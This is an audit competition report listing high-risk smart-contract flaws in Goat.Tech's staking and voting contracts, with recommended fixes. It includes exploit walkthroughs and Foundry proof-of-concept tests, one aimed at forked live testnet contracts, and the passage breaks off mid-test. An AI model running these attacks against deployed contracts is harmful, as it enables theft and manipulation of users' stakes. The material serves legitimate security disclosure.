CANTINA

Goat Tech: Smart contracts

Competition

June 12, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Goat.Tech is a social-financial game, where users play by mainly staking ETH in each other's "Trust Pool" to earn 10 types of rewards, increase reputation (Trust Score), and find out who's the GOAT (highest Trust Score). Trust Score is fully on-chain; can be used to attract, assess, and target Web3 prospects. Who needs? KOLs, founders, investors, and more.

From Mar 19th to Apr 8th Cantina hosted a competition based on Smart-contracts. The participants identified a total of **103** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 17
- Medium Risk: 16
- Low Risk: 31
- Gas Optimizations: 0
- Informational: 39

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Anyone can vote multiple times by using multiple addresses and transferring a voting token if private mode is off

Submitted by stiglitz, also found by jesjupyter, Rotciv Egaf, nmirchev8, Haxatron, PENGUN and Said

Severity: High Risk

Context: Voting.sol#L220

Description: The token used for voting is the `DToken` (based on the deployment script). The`PERC` contract (inherited by `DToken`) implements so-called `private mode`. If the contract is in `private mode`, transfer functions are not callable. However, if the mode is off, there is a place for voting manipulation.

I am not sure when or in what type of circumstances the private mode will be on/off. However because the functionality is there and transfers are not banned completely, I chose the likelihood medium.

Exploit scenario:

- `DToken` is not in `private mode`.
- User `A` who has an amount `X` of `DToken` calls `Voting::updatePower`. It will take the `DToken` balance of user `A` and use it as a voting power.
- User `A` transfer `X` amount of `DToken` to user `B`.
- User `A` now has `0` amount. User `B` now has `X` amount.
- User `B` who has amount `X` of `DToken` calls `Voting::updatePower`. It will take the `DToken` balance of user `B` and use it as a voting power.

  This way the voting power of `X` amount of `DToken` will be used twice in `vote.attackerPower += power` or `vote.defenderPower += power;`. User `A` can create `n` addresses to make his power `n` times stronger

Core problem: The main problem is that `DToken` does not implement logic to move voting power together with transferred amount. It only calls `Distributor` contracts and update rewards there.

- `DToken::_beforeTokenTransfer`

```
function _beforeTokenTransfer(
    address from_,
    address to_,
    uint256 amount_
)
    internal
    virtual
    override
{
    uint i = 0;
    uint n = _totalDistributors;
    while (i < n) {
        _distributors[i].beforeTokenTransfer(from_, to_, amount_);
        i++;
    }
}
```

Goat: Fixed by removing the `_privateMode` completely.

3.1.2 A user calling `controller::dctstake` can bypass tax by first transferring the tokens to be staked in a separate transaction

Submitted by mctoady, also found by cccz, 0xRajkumar, merlin, b0g0, nmirchev8 and sashik-eth

Severity: High Risk

Context: Controller.sol#L430

Impact: When a user stakes DCT tokens via `dctStake` there is a 1% tax on their `amount_` to stake. This 1% "tax" is transferred to the burn address as shown here:

```
uint taxA = LPercentage.getPercentA(amount_, _dctTaxPercent);
_dct.transfer(address(0xdead), taxA);
```

However, when `dctStake` calls `_stake` the value a user is staking is calculated by reading the current DCT token balance of the controller contract as shown here:

```
uint value = isEth_ ? _geth.balanceOf(address(this)) : _dct.balanceOf(address(this));
```

This means that a user could bundle two calls (likely via a single custom smart contract function call to avoid being frontrun/sandwich attacked), where they first transfer the DCT tokens to the controller contract and then call `dctStake` with `amount_` set to zero. Doing this would allow the user benefit from staking 100% of their desired tokens by avoiding the 1% tax.

Proof of concept: The following test shows the tax avoidance:

```
// Test Avoid Tax w/ dctStake
function test_DctStakeNoTax() public {
    uint256 defaultCode = ethSharing.defaultCode();

    // Alice first stakes eth to setup her pool
    supplyDCT(alice, 100 ether);
    vm.deal(alice, 100 ether);
    vm.startPrank(alice, alice);
    controller.ethStake{value: 1 ether}(payable(alice), 60 days, 0, defaultCode, 0.8 ether, 0);

    // Alice transfers the tokens directly to the controller contract
    dct.transfer(address(controller), 100 ether);
    // Alice then calls dctStake with 0 amount
    controller.dctStake(0, payable(alice), 60 days);
    vm.stopPrank();

    uint256 dLockerAmount = dct.balanceOf(address(dLocker));
    // Confirm tax was avoided
    assert(dLockerAmount == 100 ether);
    console.log(dLockerAmount);
}
```

This produces the following output:

```
[PASS] test_DctStakeNoTax() (gas: 5842502)
Logs:
  100000000000000000000
```

Recommendation: To avoid this issue the `value` set in `_stake` should be the `amount_` originally input in `dctStake`. This would ensure that the user cannot avoid the 1% tax when staking.

Goat: fixed dct.transferFrom(msg.sender, address(this), amount); uint taxA = LPercentage.getPercentA(_-thisDctBalance(), _dctTaxPercent);

3.1.3 When stake eth in earningreinvest, the reduction of maxearning may not work

Submitted by cccz

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In order to incentivize users to stake the ETH earnings in earningReinvest, maxEarning is reduced to keep the financial stability.

```
function earningReinvest(
    bool isEth_,
    address payable poolOwner_,
    uint duration_,
    uint amount_,
    // address[] memory pulledPoolOwners_,
    uint minSPercent_,
    uint poolConfigCode_
)
    external
{
    address account = msg.sender;
    if (isEth_) {
        LLocker.SLock memory oldLockData = _eLocker.getLockData(account, poolOwner_);
        uint realDuration = duration_ + LLocker.restDuration(oldLockData);
        if (realDuration > _maxDuration) {
            realDuration = _maxDuration;
        }
        uint maxEarning = _eEarning.maxEarningOf(account);
        maxEarning -= amount_ * realDuration / _maxDuration;
        _eEarning.updateMaxEarning(account, maxEarning);
    }
    earningWithdraw(isEth_, amount_, payable(address(this)), 0);
    _stake(isEth_, account, poolOwner_, duration_, minSPercent_, poolConfigCode_);
}
```

However, since earning.withdraw calls shareCommission, which updates maxEarning, the previous reduction of maxEarning will not work.

```
function earningWithdraw(
    bool isEth_,
    uint amount_,
    address payable dest_,
    uint minEthA_
    // address[] memory pulledPoolOwners_
)
    public
{
    address account = msg.sender;
    // earningPulls(account, pulledPoolOwners_, account);
    IEarning earning = isEth_ ? _eEarning : _dEarning;

    earning.withdraw(account, amount_, address(this));
    // ...
function withdraw(
    address account_,
    uint amount_,
    address dest_
)
    external
    onlyAdmin
{
    shareCommission(account_);
    // ...
    if (_sharedA[account_] > _maxEarningOf[account_]) {
        _updateMaxEarning(account_, _sharedA[account_]);
    }
```

Consider `maxEarning = 1000`, `_sharedA = 1000`, `balanceOf = 1100` (100 no `shareCommission`, `sPercent=10%`), `fs = 1`. The user `earningReinvest` 1000 with `maxDuration`, and `maxEarning` is reduced to 0.

However, when `earning.withdraw` calls `shareCommission`, `_sharedA` is updated to `1000 + 100 * 0.9 =`

1090, and `_maxEarningOf` changes from 0 to 1090. At the end of `_stake`, `fs = ((1090 - 1000) + 1000 * 2%) / 1090 = 0.1`, this reduces the poolOwner's score to 1/10.

Recommendation: The fix will be to reduce maxEarning after withdraw:

```
  function earningReinvest(
      bool isEth_,
      address payable poolOwner_,
      uint duration_,
      uint amount_,
      // address[] memory pulledPoolOwners_,
      uint minSPercent_,
      uint poolConfigCode_
  )
      external
  {
      address account = msg.sender;
+     earningWithdraw(isEth_, amount_, payable(address(this)), 0);
      if (isEth_) {
          LLocker.SLock memory oldLockData = _eLocker.getLockData(account, poolOwner_);
          uint realDuration = duration_ + LLocker.restDuration(oldLockData);
          if (realDuration > _maxDuration) {
              realDuration = _maxDuration;
          }
          uint maxEarning = _eEarning.maxEarningOf(account);
          maxEarning -= amount_ * realDuration / _maxDuration;
          _eEarning.updateMaxEarning(account, maxEarning);
      }
-     earningWithdraw(isEth_, amount_, payable(address(this)), 0);
      _stake(isEth_, account, poolOwner_, duration_, minSPercent_, poolConfigCode_);
  }
```

Goat : This fix has been applied.

3.1.4 `_recalep2pdbalance` should be called before `p2udtoken.burn`/`mint`, not after

Submitted by cccz

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In `DToken._beforeTokenTransfer`, the `Distributor.beforeTokenTransfer` corresponding to that `DToken` is called, which will call `Distributor._distribute` to distribute the reward, thus ensuring that the reward can be correctly distributed before the balance is updated:

```
function _beforeTokenTransfer(
    address from_,
    address to_,
    uint256 amount_
)
    internal
    virtual
    override
{
    uint i = 0;
    uint n = _totalDistributors;
    while (i < n) {
        _distributors[i].beforeTokenTransfer(from_, to_, amount_);
        i++;
    }
}
```

When distributing GOAT mining rewards, the rewards are first distributed to the pool based on the `_eP2PDToken` balance, where they are distributed to users based on their p2UDtoken balance in the pool. And the user's `p2UDtoken` balance in the pool affects the pool's `_eP2PDToken` balance.

However, when stake ETH, `p2UDtoken.mint` is called first, which will increase the user's share in the pool, and then `_eP2PDToken.mint` is called in `_reCalEP2PDBalance`, which will claim the global GOAT mining reward, which will be distributed according to the user's balance after the mint, not before.

```
        p2UDtoken.mint(account_, powerMinted);
        // ...
```

```
    _reCalFs(poolOwner_);
// ...
function _reCalFs(
    address account_
)
    internal
{
    uint maxEarning = _eEarning.maxEarningOf(account_);
    _profileC.updateFsOf(account_, LHelper.calFs(
        _eEarning.balanceOf(account_) + _voting.defenderEarningFreezedOf(account_),
        maxEarning
    ));
    _reCalEP2PDBalance(account_);
}
// ...
function _reCalEP2PDBalance(
    address poolOwner_
)
    internal
{
    if (_poolFactory.isCreated(poolOwner_)) {
        IPoolFactory.SPool memory pool = _poolFactory.getPool(poolOwner_);
        IDToken p2UDtoken = IDToken(pool.dToken);

        uint oldEP2PBalance = _eP2PDToken.balanceOf(pool.dctDistributor);

        uint newEP2PBalance = LHelper.calEP2PDBalance(
            _profileC.fsOf(poolOwner_),
            _profileC.boosterOf(poolOwner_),
            p2UDtoken.totalSupply()
        );
        if (newEP2PBalance > oldEP2PBalance) {
            _eP2PDToken.mint(pool.dctDistributor, newEP2PBalance - oldEP2PBalance);
        } else if (newEP2PBalance < oldEP2PBalance) {
            _eP2PDToken.burn(pool.dctDistributor, oldEP2PBalance - newEP2PBalance);
        }
    }
}
```

Consider that there are currently 1000 global rewards to be distributed, poolA has 10% power and Alice has 50% of poolA. When Alice stake ETH to increase her share to 60%, the global reward will be distributed to Alice 60 instead of 50.

Recommendation: The fix would be to pull GOAT mining rewards before p2UDtoken.mint/burn.

- In `lockWithdraw`:

```
    if (isEth_) {
        require(restAmount == 0 || restAmount >= _minStakeETHAmount, "rest amount too small");

        IPoolFactory.SPool memory pool = _poolFactory.getPool(poolOwner_);
        IDToken p2UDtoken = IDToken(pool.dToken);
        uint burnedPower = LHelper.calBurnStakingPower(p2UDtoken.balanceOf(account), amount_,
↪  oldLockData.amount);
+       _dP2PDistributor.distribute();
+       _dP2PDistributor.claimFor(pool.dctDistributor, pool.dctDistributor);
        p2UDtoken.burn(account, burnedPower);

        _reCalEP2PDBalance(poolOwner_);
        LLido.allToEth(minEthA_);
        // _weth.withdraw(_weth.balanceOf(address(this)));
        dest_.transfer(address(this).balance);
```

- In `_stake`:

```
    powerMinted = LHelper.calMintStakingPower(
        oldLockData,
        aLock,
        duration_,
        account_ == poolOwner_,
        _selfStakeAdvantage
    );
    }
    IPoolFactory.SPool memory pool = _poolFactory.getPool(poolOwner_);
    IDToken p2UDtoken = IDToken(pool.dToken);
    bool isFirstStake = p2UDtoken.totalSupply() == 0;
+   _dP2PDistributor.distribute();
+   _dP2PDistributor.claimFor(pool.dctDistributor, pool.dctDistributor);
    p2UDtoken.mint(account_, powerMinted);
```

Goat: already fixed. correct

3.1.5 When `_dp2pdtoken.athbalance()` is increased, the power of almost all pools becomes stale

Submitted by cccz

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: Booster is an important factor in calculating the pool's power. Booster is 1 + (the current pool's `_dP2PDToken` balance)/(the largest `_dP2PDToken` balance (i.e. `athBalance`)):

```
function _reCalBooster(
    address account_
)
    internal
{
    uint maxBoostVotePower = _dP2PDToken.athBalance();
    uint boostVotePower = _dP2PDToken.balanceOf(account_);
    uint newBooster = LProfile.calBooster(boostVotePower, maxBoostVotePower, _maxBooster);
    _profileC.updateBoosterOf(account_, newBooster);
}
```

The problem here is that `athBalance` changes, and when `athBalance` is increased, the power of other pools becomes stale due to not using the latest `athBalance` for calculations.

For example, the current `athBalance = 1000`, the `_dP2PDToken` balance of `poolA` is 500, and the `_dP2PDToken` balance of `poolB` is 1000.

```
BoosterA = 1 + 500/1000 = 1.5
BoosterB = 1 + 1000/1000 = 2.
```

`poolB` owner stake 500 DCT, then the balance of `poolB`'s `_dP2PDToken` is 1500, and `athBalance` = 1500. At this time, `BoosterB` = 1 + 1500/1500 = 2. `BoosterA` should be 1 + 500/1500 = 1.33.

But since `BoosterA` will only be recalculated when staking and withdrawing in `PoolA`, `BoosterA` will remain 1.5 instead of 1.33, and other pools will do the same, which causes the power of almost all pools to become stale, and the reward distribution will also incorrect.

Recommendation: It is recommended to wrap `_reCalBooster` and `_reCalEP2PDBalance` with a public function so that anyone can recalculate any pool's Booster and Power as `athBalance` increases.

Goat: correct. fixed

```
function reCalFs(
    address poolOwner_
)
    external
{
    _reCalFs(poolOwner_);
}
```

3.1.6 When the poolowner gets shared earnings, the power of that pool becomes stale

Submitted by cccz

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: fs (Financial_stability) is an important factor in calculating the pool's power. `fs = ETH_Earning / Max_ETH_Earning`:

```
function _reCalFs(
    address account_
)
    internal
{
    uint maxEarning = _eEarning.maxEarningOf(account_);
    _profileC.updateFsOf(account_, LHelper.calFs(
        _eEarning.balanceOf(account_) + _voting.defenderEarningFreezedOf(account_),
        maxEarning
    ));
    _reCalEP2PDBalance(account_);
}
```

The problem here is that when poolOwner gets shared earnings, both `_eEarning.balanceOf(poolOwner)` and `_eEarning.maxEarningOf(poolOwner)` change, causing the pool's power to become stale.

```
function shareCommission(
    address account_
)
    public
{
    uint amount = balanceOf(account_) - _sharedA[account_];
    if (amount == 0) {
        return;
    }

    address sponsor;
    uint sAmount;
    (sponsor, sAmount) =  _profileC.getSponsorPart(account_, amount);
    if (sAmount > 0) {
        _transfer(account_, sponsor, sAmount);
        emit ShareCommission(account_, sponsor, sAmount);
    }
    _sharedA[account_] = balanceOf(account_);
    if (_sharedA[account_] > _maxEarningOf[account_]) {
        _updateMaxEarning(account_, _sharedA[account_]);
    }
}
```

For example, currently `_eEarning.balanceOf(A) = 100`, `_eEarning.maxEarningOf(A) = 200`, `fsA = 100/200 = 0.5`.

After A gets 50 shared earnings, `fsA` should be `150/200 = 0.75`.

But since `fsA` is only recalculated when staking and withdrawing in `PoolA`, fsA' will remain at 0.5 instead of 0.75, which causes the power of the pool to become stale and the reward distribution to be incorrect.

Recommendation: It is recommended to wrap `_reCalFs` with a public function so that anyone can recalculate any pool's fs as earnings increases.

Goat: correct. fixed

```
function reCalFs(
    address poolOwner_
)
    external
{
    _reCalFs(poolOwner_);
}
```

3.1.7 Missing access control on `update()` function in `Earning.sol` opens up many attack vectors

Submitted by Spearmint, also found by 0xRajkumar, nmirchev8, sashik-eth, ladboy233 and Charles

Severity: High Risk

Context: Earning.sol#L96-L115

Relevant context:

```
Fs = Financial Stability = ETH_Earning / Max_ETH_Earning
```

The core function of this protocol is to be a "Reputation standard", the following is extracted form the docs FAQ section:

> What is really your reputation/trustworthiness on Goat.Tech
>
> It's the ability to instill a belief in many people that you won't withdraw the majority of your earnings for a long time.

Description: The `update()` function in `Earning.sol` is callable by anyone as it is lacking the `onlyAdmin` modifier.

This allows `poolOwner`'s to directly send in wsteth to the `Earning.sol` contract and call the `update()` function to increase their `ETH_Earning`. A `poolOwner`'s `ETH_Earning` normally increase by users staking in their pool and the `poolOwner` getting a % of the stake. It does not make sense to allow `poolOwner`s to update their earnings by depositing into it.

The fact that a poolOwner can easily withdraw their `ETH_Earning` (drop their Fs) then come back later and deposit it back in directly (increasing it back to normal) defeats the purpose of the system that measures trustworthiness based on "not withdrawing majority of earnings".

Normally to recover the trust score `poolOwners` would need more people to stake in their pool and/or sit and wait to collect more mining reward to make up the earnings. Both of these take significantly longer and thus until the earnings recover the `poolOwner` would have a lowered Fs and therefore lower Trust Score since Fs is proportional to Trust score. This period of lower Trust Score is meant to be the punishment for withdrawing the majority of earnings.

Impact: The issue breaks the core function of the protocol being a "reputation standard" AND I have shown ways how malicious users can manipulate their earnings to dodge the reputation penalty.

Likelihood: These attacks are quite simple to execute. The core protocol functionality of being a reputation standard is broken as the key metric for trustworthiness can be manipulated by bad actors.

Recommendation: Add the `onlyAdmin` modifer to the `update()` function as follows:

```
  function update(
      address account_,
      bool needShareComm_
  )
      external
+     onlyAdmin
  {
      if (needShareComm_) {
          uint amount = _cashIn();
          _mint(account_, amount);
          shareCommission(account_);
      } else {
          shareCommission(account_);
          uint amount = _cashIn();
          _mint(account_, amount);
          _sharedA[account_] = balanceOf(account_);
          if (_sharedA[account_] > _maxEarningOf[account_]) {
              _updateMaxEarning(account_, _sharedA[account_]);
          }
      }
  }
```

Goat: Fixed

3.1.8 The pool owner can manipulate users to steal all of their stake amounts by using code edge case

Submitted by 0xRajkumar

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: `poolConfigCode_` is used to validate that users staking in the pool have the same code as when transaction was created, and the owner has not changed it, providing protection that ownerPercent and userPercent have not changed. However, there is an edge case where different configurations can have the same code. Let's see how the code is generated:

```
ownerPercent_ * LPercentage.DEMI + userPercent_
```

Here the `DEMI` is 10000. We can actually find two different `ownerPercent` and `userPercent` inputs that have the same code:

- First example:

```
ownerPercent = 1
userPercent  = 0
code = 1*10000 + 0
code = 10000
```

- Second example:

```
ownerPercent = 0
userPercent  = 10000
code = 0*10000 + 10000
code = 10000
```

We can also validate the sum because of 1 and 0, and the sum of 0 and 10000 is actually valid:

```
function validatePercent(uint percent_) internal pure {
    // 100% == DEMI == 10000
    require(percent_ <= DEMI, "invalid percent");
}
```

We are assuming two things:

1. Pool owner is actually having bad intention and he want to take advantage of this edge cases.
2. `inDefaultOnlyMode` is `false`.

Both are possible.

Now let's see how the owner can take advantage of it.

1. First, they will need to create a pool by staking some Geth and earning some `p2UDtoken`.
2. As `inDefaultOnlyMode` is `false`, he will set `ownerPercent = 1` and `userPercent = 0` to attract users.
3. He will run a bot that will constantly monitor transactions and will frontrun with `configPool ownerPercent = 0` and `userPercent = 10000`.
4. As the code will be the same, user funds will be transferred to pool.`ethDistributor`, and since `p2UDtoken` will have all the supply, he will earn all the Geth. Users will not earn any `p2UDtoken` tokens.

Recommendation: To generate code we should use keccak256. Check this reference.

Goat: Fixed

3.1.9 Attacker can take advantage of multiplier when there's only one second left, allowing them to fraudulently gain voting power

Submitted by 0xRajkumar

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In the main `stake` function, we have a `require` statement that checks whether our `duration_` should be equal to zero or greater than or equal to `_minDuration`:

```
require(
    duration_ == 0 || duration_ >= _minDuration,
    "duration too small"
);
```

But we are not checking this in `calMintStakingPower` when we have some `remaining duration` left because we are only checking if `rd` is greater than zero. This consideration assumes `lockTime_` is zero and our `lockAmount_` is greater than zero because we are staking `lockAmount_` for `rd` time for our attack:

```
function calMintStakingPower(
    LLocker.SLock memory oldLockData,
    uint lockAmount_,
    uint lockTime_,
    bool isSelfStake_,
    uint selfStakeAdvantage_
) internal view returns (uint) {
    uint rd = LLocker.restDuration(oldLockData);
    uint oldALock = oldLockData.amount;
    uint dLockForOldA = lockTime_;
    uint dLockForStakeA = lockTime_ + rd;
    if (lockTime_ == 0) {
        require(rd > 0, "already unlocked");
    }
    uint rs = (oldALock *
        calMultiplierForOldAmount(dLockForOldA) +
        lockAmount_ *
        calMultiplier(dLockForStakeA)) / LPercentage.DEMI;
    if (isSelfStake_) {
        rs = (rs * selfStakeAdvantage_) / LPercentage.DEMI;
    }
    return rs;
}
```

Now, attackers can take advantage of this to win the voting and earn Geth from whichever side they want.

Now, let's see how someone can take advantage of this. Let's say someone has staked `_minStakeDCTAmount` for `one month`. When the `remaining duration` is very small, they can take advantage of this. Basically, if we consider the `remaining duration` to be `1 second`, then our multiplier will be `0.88`.

So, essentially, they can use any amount they want to lock for only 1 second and use the powerMinted to vote on 'voteId'.

Now let's take an example: An attacker has staked `7 Goat` tokens for one month because it will be the minimum required amount. There is a voting going on with `voting ID`. The attacker can take a loan of a large amount of Goat tokens at the last second when the `remaining duration` is `1 second`. They will stake it to receive `dP2PDToken tokens`, then proceed to vote on some `voteIDs`. After that, they will call `lockWithdraw` function with `isForced` function set to true, and then repay their loan with a `fee`. Because they're withdrawing with `isForced` equal to true, they will need to bear a little loss since they will be withdrawing `1 second` early. However, if their earnings from votes can exceed the loss of the fee and penalty for withdrawing `1 second early`, an attacker can plan this type of attack on a large scale.

If the `minStakeAmount` is much less, it will be very easy for him to perform this attack.

Let's say the attacker has taken a loan of `100 Goat`, and he's staking for when the remaining duration is `1 second`, then powerMinted is 88. After the attack, he can withdraw the same amount using the formula below, considering `FS` is 10000 then the duration will be `1 month` because we staked 7 Goat for 1 month in starting.

`Total` will be 100 Goat, `duration` will be `1 month`, and `pastTime` will be `1 month - 1` because the `rest duration` is `1 second`. Our `receivedA` in wei will be `99999961419753086419` with a loss of

38580246913581 wei. Now let's say the fees were 0.01, then the total loss will be 10000000000000000 + 38580246913581 = 10038580246913581 wei. The attacker can only perform the attack if he earns more than 10038580246913581 wei.

```
function calDuration(
    SLock memory lockData_,
    uint fs_,
    bool isPoolOwner_
) internal pure returns (uint) {
    uint mFactor = isPoolOwner_ ? 2 * LPercentage.DEMI - fs_ : fs_;
    uint duration = (lockData_.duration * mFactor) / LPercentage.DEMI;
    return duration;
}

uint receivedA = (total * pastTime) / duration;
```

Recommendation: My recommendation is that we should check not only if rd is greater than zero, but also if it is significantly greater than 1 week or more, so that this type of attack will be very expensive and infeasible due to the penalty.

```
function calMintStakingPower(
    LLocker.SLock memory oldLockData,
    uint lockAmount_,
    uint lockTime_,
    bool isSelfStake_,
    uint selfStakeAdvantage_
) internal view returns (uint) {
    uint rd = LLocker.restDuration(oldLockData);
    uint oldALock = oldLockData.amount;
    uint dLockForOldA = lockTime_;
    uint dLockForStakeA = lockTime_ + rd;
    if (lockTime_ == 0) {
        require(rd > 1 weeks, "already unlocked"); //-> Here
    }
    uint rs = (oldALock *
        calMultiplierForOldAmount(dLockForOldA) +
        lockAmount_ *
        calMultiplier(dLockForStakeA)) / LPercentage.DEMI;
    if (isSelfStake_) {
        rs = (rs * selfStakeAdvantage_) / LPercentage.DEMI;
    }
    return rs;
}
```

Check out this reference.

Goat: fixed. prolong with minStakeA

3.1.10 _updatesponsor implementation contradicts sponsor role in pool and open's backrunning attack vectors

Submitted by Spearmint, also found by ast3ros

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The following is the definition of sponsor AKA trustor, and related info from the protocol docs:

> Your Trustor = the one who has the highest Staking Power in your pool. You can have only 1 Trustor.
>
> In order to become one's Sponsor, you need to stake the most ETH in his/her pool. **Early sponsors are protected for a short period of time**.

The following is the _updateSponsor() in Controller.sol:

```
function _updateSponsor(
    address payable poolOwner_,
    address staker_,
    uint minSPercent_
)
    internal
{
    if (poolOwner_ == staker_) {
        return;
    }
    IProfile.SProfile memory profile = _profileC.profileOf(poolOwner_);
    if (profile.sponsor == staker_) {
        return;
    }
    require(profile.nextSPercent >= minSPercent_, "profile rate changed");
    IPoolFactory.SPool memory pool = _poolFactory.getPool(poolOwner_);
    IDToken p2UDtoken = IDToken(pool.dToken);
    uint timeDiff = block.timestamp - profile.updatedAt;
    if (timeDiff > _maxSponsorAfter) {
        timeDiff = _maxSponsorAfter;
    }

    uint sponsorDTokenBalance = p2UDtoken.balanceOf(profile.sponsor);
    uint stakerDTokenBalance = p2UDtoken.balanceOf(staker_);
    uint sponsorBonus = sponsorDTokenBalance * (_maxSponsorAdv - 1)
        * timeDiff / _maxSponsorAfter;
    uint sponsorPower = sponsorDTokenBalance + sponsorBonus;
    if (stakerDTokenBalance > sponsorPower || poolOwner_ == profile.sponsor) {
        address[] memory pools = new address[](1);
        pools[0] = poolOwner_;
        earningPulls(poolOwner_, pools, poolOwner_);
        _profileC.updateSponsor(poolOwner_, staker_);
    }
}
```

- **Issue 1:** The current implementation of `_updateSponsor()` in `Controller.sol` does not protect early sponsor's.

  If malicious eve backruns the Tx where Alice staked and became the sponsor of John's Pool, by staking just 100 wei more than Alice, Eve will become the sponsor because Alice will not be protected. Check the proof of concept section for a full coded proof of concept of this scenario 1

- **Issue 2:** The current implementation of `_updateSponsor()` in `Controller.sol` contradicts a sponsor defintion as "*the staker with the highest staking power*", due to the incorrect formulae used.

  One of **many attack scenarios is**: Alice stakes 10 ETH for 300 days in John's pool, then later Eve stakes 60 ETH for 300 days in John's pool, Alice will still remain the sponsor of John's pool even though eve is contributing 6x more to the pool and has 6x her staking power. check PoC section for a full coded Poc of this scenario.

Impact: Sponsor "Snatching" scenarios are possible. Core protocol definition of sponsor is violated.

The protocol will be overrun by bots that will be scanning all the pools and optimally staking and unstacking just the right amount to gain and keep sponsorships, this is at the cost of regular users that will not be able to respond as fast and as often as a bot.

Proof of concept:

- **Issue 1:** The current implementation of `_updateSponsor()` in `Controller.sol` does not protect early sponsors.

  If malicious eve backruns the Tx where Alice staked and became the sponsor of John's Pool, by staking just 100 wei wsteth more than Alice, Eve will become the sponsor because Alice will not be protected.

  The following foundry test `test_FormulaeDoesNotProtectEarlySponsors()` illustrates the above scenario. Run it with the following command line input.

```
forge test --mt test_FormulaeDoesNotProtectEarlySponsors -vv
```

```
pragma solidity =0.8.8;
```

```
import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../contracts/Controller.sol";
import "../contracts/Profile.sol";

import "../contracts/lib/LLocker.sol";

import "../contracts/interfaces/IPoolFactory.sol";
import "../contracts/interfaces/IProfile.sol";
import "../contracts/interfaces/IDCT.sol";
import "../contracts/interfaces/IVoting.sol";
import "../contracts/interfaces/IEthSharing.sol";

import "../contracts/modules/UseAccessControl.sol";
import "../contracts/modules/Earning.sol";
import "../contracts/modules/Locker.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Fork is Test {
    // GoatTech Contracts
    Controller controller;
    Profile profile;
    Locker locker;
    UseAccessControl useAccessControl;

    // Setup users
    address Whale = 0xD8Ea779b8FFC1096CA422D40588C4c0641709890;

    address Alice = 0x71B61c2E250AFa05dFc36304D6c91501bE0965D8;
    address Eve = 0xb2248390842d3C4aCF1D8A893954Afc0EAc586e5;
    address John = 0x0F7F6B308B5111EB4a86D44Dc90394b53A3aCe13;

    uint256 fork;

    function setUp() public {
        // Set up forked environment for Arbitrum Sepolia
        fork = vm.createFork("https://public.stackup.sh/api/v1/node/arbitrum-sepolia");

        // These addresses are the live GoatTech Contracts on Arbitrum Sepolia
        controller = Controller(payable(address(0xB4E5f0B2885F09Fd5a078D86E94E5D2E4b8530a7)));
        profile = Profile(0x7c25C3EDd4576B78b4F8aa1128320AE3d7204bEc);
        locker = Locker(0x0265850FE8A0615260a1008e1C1Df01DB394E74a);
        useAccessControl = UseAccessControl(0x588CF1494C5aC93796134E5e1827F58D2a8A9cDB);

    }

    function test_FormulaeDoesNotProtectEarlySponsors() public {
        vm.selectFork(fork);

        // John creates his pool and stakes 1 ETH for 720 days
        vm.startPrank(John);
        controller.ethStake{value: 1 ether}(payable(John), 720 days, 1000, 2000300, 1, 0);

        // Alice stakes 0.01 ETH for 30 days
        vm.startPrank(Alice);
        controller.ethStake{value: 0.01 ether}(payable(John), 30 days, 1000, 2000300, 1, 0);

        // shows the new sponsor is Alice
        IProfile.SProfile memory NewSProfile = profile.profileOf(John);
        address NextSponsor1 = NewSProfile.sponsor;
        assertTrue(NextSponsor1 == Alice);

        // check and log the total amount of wsteth Alice has staked
        LLocker.SLock memory AliceSlock = locker.getLockData(Alice, John);
        uint AliceStakedWstethAmount = AliceSlock.amount;
        console.log("AliceStakedWstethAmount %e", AliceStakedWstethAmount);

        // Eve backruns Alice's Tx and deposits 1000000000000 wei more than Alice for 30 days
        vm.startPrank(Eve);
        controller.ethStake{value: 0.01 ether + 1000000000000 wei}(payable(John), 30 days, 1000,
↪  2000300, 1, 0);
        // check and log the total amount of wsteth Eve has staked
        LLocker.SLock memory EveSlock = locker.getLockData(Eve, John);
        uint EveStakedWstethAmount = EveSlock.amount;
        console.log("EveStakedWstethAmount %e", EveStakedWstethAmount);
```

```
        // Log the tiny difference in staked Amounts
        // If the protocol was live on Arbitrum One, An attacker can optimize this to be less than 1000
↪  wei wsteth
        console.log("DifferenceInStakedAmounts %e", EveStakedWstethAmount -  AliceStakedWstethAmount);

        // shows the new sponsor is Eve
        IProfile.SProfile memory NewerSProfile = profile.profileOf(John);
        address NextSponsor2 = NewerSProfile.sponsor;
        assertTrue(NextSponsor2 == Eve);

        // IMPORTANT CAVEAT
        // On Arbitrum One Eve would be able to directly Stake (AliceStakedWstethAmount + 1000), to
↪  become the sponsor
